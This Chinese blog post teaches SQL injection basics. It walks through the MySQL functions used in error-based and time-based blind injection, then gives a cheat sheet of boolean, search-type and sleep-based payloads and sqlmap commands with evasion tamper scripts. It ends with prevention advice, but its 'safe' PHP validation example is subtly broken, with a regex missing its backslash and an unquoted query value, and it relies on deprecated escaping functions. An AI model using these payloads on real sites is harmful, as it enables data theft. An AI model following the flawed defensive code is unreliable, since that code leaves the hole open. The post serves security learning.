注入基础

  • A+
所属分类:安全闲碎

注入基础


有几个 MySQL 内置的函数需要记住:


MySQL LENGTH 函数

LENGTH - 返回字符串长度。

LENGTH(str)

返回字符串str的长度,以字节为单位。多字节字符计为多个字节。这意味着对于包含五个两个字节的字符串,LENGTH()返回10,而CHAR_LENGTH()返回5。


MySQL SUBSTRING MID 函数

SUBSTRING - MID()的同义词,返回字符串的子串

SUBSTRING(str,pos),SUBSTRING(str FROM pos),SUBSTRING(str,pos,len),SUBSTRING(str FROM pos FOR len)

不带len参数的表单从字符串str返回子字符串,从位置pos开始。带有len参数的表单从字符串str返回一个len字符长的字符串,从位置pos开始。使用FROM的表单是标准的SQL语法。pos也可以使用负值。在这种情况下,子字符串的开头是字符串末尾的pos字符,而不是开头。可以以此函数的任何形式将负值用于pos。

将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始


mid(str,pos,len):跟上面的一样,截取字符串


MySQL ASCII 函数

ASCII - 返回字符串第一个字符的ASCII码。

ASCII(str)

返回字符串str的最左边字符的数值。如果str是空字符串,则返回0。如果str为NULL,则返回NULL。ASCII适用于数字值介于0到255之间的字符。


MySQL ORD 函数

ORD - 如果字符串str的最左边的字符是多字节字符,则返回该字符的代码,该代码是使用此公式根据其组成字节的数值计算得出的。

ORD(str)

如果字符串str的最左边的字符是多字节字符,则返回该字符的代码,该代码是使用此公式根据其组成字节的数值计算得出的。如果最左边的字符不是多字节字符,则ORD()返回与ASCII()函数相同的值。


if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

使用ascii码来判断时,需要向我们的工具中加入ascii码的字典


MySQL ELT 函数

ELT - 返回对应位置的字符串。

ELT(N,str1,str2,str3,...)

如果N = 1,则返回str1;如果N = 2,则返回str2,依此类推。如果N小于1或大于参数个数,则返回NULL。ELT是FIELD的补充。


注入基础


常用的SQL注入语句:


1.and


and:并且


(1) .需要符合所有条件,这样的记录就会被查询出来。

(2) .如果其中一个条件不符合则记录将被剔除掉。


2.or


or:或者


(1) .只要符合这几个查询条件的其中一个条件,这样的记录就会被查询出来。

(2) .如果不符合这些查询条件中的任何一条,这样的记录将被排除掉。

(3) and和or的优先级:and优先


3.order by


order by:排序


(1) .降序:desc

(2) .升序:ASC


4.where --后面加条件(满足则输出)


limit o,1 --限制(从第一条开始输出,1:只输出一次)


5.union --联合查询(讲两条select语句连起来查询)


注意,UNION 内部的 SELECT 语句必须拥有【相同数量】的列,列也必须拥有相似的数据类型

同时,每条 SELECT 语句中的列的顺序必须相同

注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL


6.SQL注入常用的函数


6.1. version() —查看mysql版本信息

6.2. user() —查看当前用户

6.3. database() --查看当前使用的数据库

6.4. @@datadir --查看数据库数据存放的路径

6.5. @@version_compile_os --查看操作系统信息


7.MySQL管理数据库的常用命令


7.1.show databases; --查看有多少数据库

7.2.use 数据库名; --使用对应的数据库

7.3.show tables;(先使用数据库) --查看有多少表

7.4.desc 表名; --查看表结构(字段名)(方便插入数据)

7.5.insert into 表名 (字段名…) value (数据(对应字段)) --插入数据

7.6.select --查看数据


8.掌握information_schema数据库下的表及字段:


8.1. schemata表 —保存了所有的数据库名


字段schema_name --所有的数据库名


mysql> use information_schema;

mysql> select distinct schema_name from schemata;


字符说明:distinct ----去重


8.2. tables ----存放数据库名和表名的表


字段table_schema —tables表下存放数据库名的字段


字段table_name —tables表下存放表名的字段


mysql> use information_schema;

mysql> select distinct table_schema from TABLES;

mysql> select distinct table_name from TABLES;


columns ----存放字段名的表


字段column_name —columns表下存放字段名的字段


mysql> select distinct column_name from columns;


9.MySQL注入-编码或变形-hex()


十进制----->16进制

mysql> select(hex(15));


字符串---->16进制

mysql> select(hex('B-A-D-A'));


以0x开头的16进制---->字符串

mysql> select concat('hello',0x2D,'world');


10.MySQL注入-编码或变形-ascii()


ascii码 可见字符基本是32到127

与hex()基本类似但不是转为16进制而是转为ascii码


字符串 -> ascii码

mysql> select(ascii('a'));


ord函数 和 ascii唯一的区别:多字节的字符处理

mysql> SELECT ord('为');

mysql> SELECT ASCII('为');

 

ascii码 -> 字符串

mysql> select char('77');


11.MySQL注入-字符串-length()


mysql> select length('dsada');


12.MySQL注入-字符串-substring(),mid()


substring(),mid() ----取子字符串

取出字符串str里的第pos位开始 长度len的字符


2个参数的形式:

没有len参数表示 子字符串为 从pos位置开始到str的末尾 的字符串


SUBSTRING(str,pos)

mysql> select substring('',2); --从第二个字符开始到末尾结束


3个参数的形式:

最后一个参数len 即返回的子字符串长度(字符数)


SUBSTRING(str,pos,len)

mysql> select substring('<b></b>',2,2); ---从第二位开始长度为2(到第三位结束)


13.MySQL注入-字符串-elt()


mysql> select elt(1,'aa','bb','cc'); --选择出第一位并输出


14.MySQL注入-字符串连接符-concat()


concat():没有分隔符连接字符串 --concat(str1,str2…)


mysql> use xindi;

mysql> select concat(id,dname) from t_depart;


15.MySQL注入-字符串连接符-CONCAT_WS()


CONCAT_WS(separator,str1,str2…) — separator:其他参数的分隔符

mysql> select concat_ws('_',id,dname) from t_depart limit 1;


如果分隔符为 NULL,则结果全为 NULL

mysql> select concat_ws(null,id,dname) from t_depart limit 1;

 

会忽略后面参数中的null 相当于sql语句中没写 null。

mysql> select concat_ws('_',null,id,dname) from t_depart limit 1;

 

空字符串 和普通字符串一样被连接

mysql> select concat_ws('_',id,'',dname) from t_depart limit 1;


16.MySQL注入-字符串连接符-group_concat()


group_concat(str1,str2…) --连接一个组(整个表)的所有字符串,一','号分割

mysql> select group_concat(id,dname) from t_depart limit 1;


17.MySQL注入-报错注入-rand()


floor()函数 取小于该数字的最大整数


mysql> select floor(5.1);


mysql>  select floor(2.9);

 

rand()函数  返回一个随机浮点数v,取值范围为0 < v=< 1.0

mysql> select (100*rand()); ---获取一个随机浮点数(0-100),rand()默认0 < v=< 1.0


rand(0)是固定的mysql> select (rand(0));


floor *2取整永远是同一个整数


mysql> select floor(rand(5)*2);


18.MySQL注入-报错注入-extractvalue()


extractvalue(XML_document, XPath_string)

:第一个参数:XML_document是String格式;第二个参数:XPath_string (Xpath格式的字符串)


mysql> select (extractvalue(1,concat(0x7e,(select user()),0x7e)));

查看concat()连接函数

mysql> select concat(user(),floor(rand(0)*2));


19.MySQL注入-报错注入-updatexml()


UPDATEXML (XML_document, XPath_string, new_value);


第一个参数:XML_document是String格式

第二个参数:XPath_string

第三个参数:new_value


与 extractvalue() 函数区别是 第三个参数替换了节点字符串,返回值是整个改变后的XML文档


#使用方式


select updatexml("666", "/html","888") #返回888

mysql> select (updatexml(1,concat(0x7e,(select user()),0x7e),1));


20.常用函数-xml解析-extractvalue()


mysql> SET @temp_xml ='

'> <?xml version="1.0" encoding="UTF-8"?>

'>

'>

'> AODB

'> 800495

'> 20171226114530

'> FLOP

'> STND

'>

'>

'> 4666481

'> Y20

'>

'>

'>';

mysql> select extractvalue(@temp_xml,'/MSG/FLOP/STND');


21.sleep


关键判断函数:sleep(6)


延时6秒


手工测试 两者对比明显有延迟

http://127.0.0.4/Less-1/index.php?id=1' and sleep(0) –+

http://127.0.0.4/Less-1/index.php?id=1' and sleep(10) –+


理论依据:

if是mysql自带的函数,条件如果是执行第二个参数,否执行第三个参数

if(condition,true,false)

if(条件,条件为真的话执行函数,条件为假的话执行函数)

sleep函数放在参数2的位置上 则条件为真就执行 参数2处的sleep(6)

sleep函数放在参数3的位置上 则条件为假就执行 参数3处的sleep(6)


mysql> select if(1,sleep(2),0);


22.恒为真的语句


mysql> select now();

mysql> select sysdate();

mysql> select sysdate()=now();


select if(now()=sysdate(),sleep(2),0);


23.常用注入语句


python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --random-agent  --proxy="http://127.0.0.1:8008"


python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --proxy="http://127.0.0.1:8008"


python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --random-agent [--chunk] [--proxy="http://127.0.0.1:8008"]


'||'8'='8                            查询所有


'&&'8'='8'||'8'='8                   查询所有


'&&'8'='6'||8'='8                    查询为空


'OR'8'='8                            查询所有


'AND'8'='8'OR'8'='8                  查询所有


'AND'8'='6'OR'8'='8                  查询为空


%'OR'%'LIKE'%


%'OR'%'LIKE'%'OR'8'='8'OR'8'='8


%'OR'%'LIKE'%'AND'6'='8'AND'8'='6


'OR'8'='8                            查询所有


'AND'8'='8'OR'8'='8                  查询所有


'AND'8'='6'OR'8'='8                  查询为空


%'AND'8'='8


%'OR'%'='%                           查询所有


%'AND'8'='8'OR'%'='%                 查询所有


%25'AND'8'='8'OR'%25'='%25


%'AND'8'='6'OR'%'='%                 查询为空


%25'AND'8'='6'OR'%25'='%25


%25%27OR%27%25%27%3D%27%25


%25%27AND%278%27%3D%276%27OR%27%25%27%3D%27%25


%25%27AND%278%27%3D%278%27OR%27%25%27%3D%27%25


' AND (SELECT 5122 FROM (SELECT(SLEEP(5)))PQBP) AND '


python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --proxy="http://127.0.0.1:8008" --dbms PostgreSQL


python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --proxy="http://127.0.0.1:8008" --tamper="randomcase.py"


python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --proxy="http://127.0.0.1:8008" --tamper="randomcase.py,charencode.py"


admin'-- 


admin'or'8'='8


' and sleep(5) and '8'='8


desc,if((current_user like'root%'),0,(select 1 union select 2))


admin';SELECT PG_SLEEP(5) -- 


' and SLEEP(5) and '


8'or'8'='8'or'8'='8


8'||'8'='8'||'8'='8


python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --tamper="randomcase.py,charencode.py"


%' AND 6956=6956 AND 'aShs%'='aShs


%' AND 1448=(SELECT 1448 FROM PG_SLEEP(5)) AND 'jcmR%'='jcmR


8'or'8'='8'or'8'='8


python sqlmap.py -u "http://10.10.10.10/egis/api/v1/getuserInfo?id=1" -p id --level=5 --risk=3 -v 3 --tamper="randomcase.py,charencode.py"


python sqlmap.py -u "http://10.10.10.10/egis/api/v1/getuserInfo?id=1" -p id --level=5 --risk=3 -v 3 --proxy="http://127.0.0.1:8008" --tamper="randomcase.py,charencode.py"


ELT(1,1,2,3,4)


ELT(1,SLEEP(1))


Payload: id=ELT(4178=4178,SLEEP(5))

Vector: ELT([INFERENCE],SLEEP([SLEEPTIME]))


ELT(VERSION() LIKE 0x255469444225,SLEEP(5))


ELT(@@VERSION_COMMENT LIKE 0x256472697a7a6c6525,SLEEP(5))


ELT(@@VERSION_COMMENT LIKE 0x25506572636f6e6125,SLEEP(5))


ELT(AURORA_VERSION() LIKE 0x25,SLEEP(5))


id=ELT(4178=4178,SLEEP(5))


ELT([INFERENCE],SLEEP([SLEEPTIME]))


ELT(1,1,2,3,4)


1'or ELT(1,1,2,3,4)='1


24.MySQL SQL注入


注入基础


如果您通过网页获取用户输入并将其插入到MySQL数据库中,则很有可能会遇到称为SQL 注入的安全问题。本章将教您如何帮助防止这种情况的发生并帮助您保护脚本和MySQL语句。SQL注入通常在您请求用户输入时发生,例如用户名,而不是用户名,而是给您一条MySQL语句,您将在不知不觉中在数据库上运行。永远不要信任用户提供的数据,仅在验证后才处理这些数据;通常,这是通过模式匹配完成的。在以下示例中,用户名被限制为字母数字字符和下划线,并且长度介于8到20个字符之间-根据需要修改这些规则。


if (preg_match("/^w{8,20}$/", $_GET['username'], $matches)) {

   $result = mysqli_query($conn,"SELECT * FROM users WHERE username = $matches[0]");

} else  {

   echo "username not accepted";

}


为了演示此问题,请考虑以下摘录。


// supposed input

$name = "Qadir'; DELETE FROM users;";  //假设这是用户输入,这就危险了

mysql_query("SELECT * FROM users WHERE name = '{$name}'");

}


该函数调用应该从users表中检索一条记录,其中name列与用户指定的名称匹配。通常情况下,$name仅包含字母数字字符,也许还包含空格。但是在这里,通过将一个全新的查询附加到$ name,对数据库的调用变成了一场灾难。注入的DELETE查询将从用户中删除所有记录。幸运的是,如果使用MySQL,则mysqli_query()函数不允许查询堆栈或在单个函数调用中执行多个查询。如果您尝试堆叠查询,则调用将失败。但是,其他PHP数据库扩展(例如SQLite和PostgreSQL)可以愉快地执行堆积查询,执行所有以一个字符串提供的查询,并造成严重的安全性问题。


防止SQL注入


您可以使用PERL和PHP等脚本语言来智能地处理所有转义字符。PHP的MySQL扩展提供了函数mysqli_real_escape_string()来转义MySQL特有的输入字符。


if (get_magic_quotes_gpc()) {

   $name = stripslashes($name);

}


$name = mysql_real_escape_string($name);

mysql_query("SELECT * FROM users WHERE name = '{$name}'");


LIKE 查询这么解决


为了解决LIKE难题,自定义转义机制必须将用户提供的%和_字符转换为文字。使用addcslashes(),该函数可让您指定要转义的字符范围。


$sub = addcslashes(mysql_real_escape_string("%something_"), "%_");

// $sub == %something_

mysql_query("SELECT * FROM messages WHERE subject LIKE '{$sub}%'");


25.总结归纳


SQL注入 - 漏洞描述


SQL注入漏洞 就是通过在用户可控参数中注入SQL语句,破坏原有的SQL结构,达到编写程序时意料之外结果的攻击行为。


SQL注入 - 漏洞成因


漏洞成因有2个方面:

1、使用字符串拼接的方式构造SQL语句。

2、未对用户可控参数进行足够过滤。

Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令造成SQL注入漏洞。


SQL注入 - 漏洞危害


可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致攻击者完全接管主机。


SQL注入 - 漏洞分类


根据注入点数据类型分类,可以分为以下3类:

1、数字型注入:注入点数据类型为数字型,常用测试代码 +1 -1 。

2、字符型注入:注入点数据类型为字符型,常用测试代码 '--  ‘# 。

3、搜索型注入:模糊查询,常用测试代码:%'Or'%'Like'% 。


根据注入点的SQL语法分类,可以分为以下5类:

1、UNION query SQL injection(联合查询注入):可以使用union的情况下注入。

2、Error-based SQL injection(报错型注入):页面会返回错误信息。

3、Boolean-based blind SQL injection(布尔型注入):根据返回页面判断条件真假。

4、Time-based blind SQL injection(基于时间的延迟注入):用页面返回时间是否增加判断是否存在注入。

5、Stacked queries SQL injection(可多语句查询注入):可以同时执行多条SQL语句。


根据数据包提交方式分类,可以分为以下4类:

1、GET 注入:提交数据的方式是 GET , 注入点的位置在 GET 参数部分。

2、POST 注入:使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

3、Cookie 注入:HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

4、HTTP 头部注入:注入点在 HTTP 请求头部的某个字段中。比如存在 Host字段、User-Agent 字段、X-Forwarded-For字段中。严格讲的话,Cookie 其实应该也是算HTTP 头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。


SQL注入 - 修复方案


修复方案

1、使用参数检查的方式在参数拼接进入SQL语句执行前进行校验过滤,拦截带有SQL语句的参数传入应用程序。

2、对SQL语句的语义进行完整性检查,确认语义没有发生变化。

3、使用预编译处理的方式处理拼接了用户可控参数的SQL语句。

4、Web应用程序接入数据库服务器使用的用户禁用系统管理员,用户角色应遵循最小权限原则。

5、定期审计数据库执行日志,查看是否存在应用程序正常逻辑之外的SQL语句执行痕迹。


注入漏洞学习网站:https://portswigger.net/web-security/sql-injection


注入基础


本文始发于微信公众号(利刃信安):注入基础

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: